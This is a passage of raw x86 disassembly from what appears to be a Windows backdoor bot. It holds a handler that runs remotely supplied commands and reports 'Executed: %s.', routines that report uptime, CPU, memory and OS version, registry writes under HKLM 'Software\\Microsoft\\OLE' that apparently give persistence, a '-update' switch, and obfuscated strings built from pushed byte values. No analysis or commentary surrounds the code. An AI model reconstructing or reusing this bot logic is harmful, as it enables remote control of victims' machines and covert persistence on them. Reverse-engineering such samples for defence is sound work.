[esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax call near ptr 77C293C7h nop add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F60 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2940000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3DAEC0E8h dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 0ABFEE890h, 548D023Dh, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 3DAD80E8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0B9E850FFh dd 90023DAAh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 3DAC3CE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23DA978h, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 3DAAF0E8h, 6A9002h, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 29E89050h, 8D023DA8h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 0A9AFE890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0A6EAE850h, 8D90023Dh, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj call near ptr 27E0716h nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F60 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27E0716h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2820000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2810000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call near ptr byte_5EA1BD nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 280125Ah lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2920E14h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr [ebx+9], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- 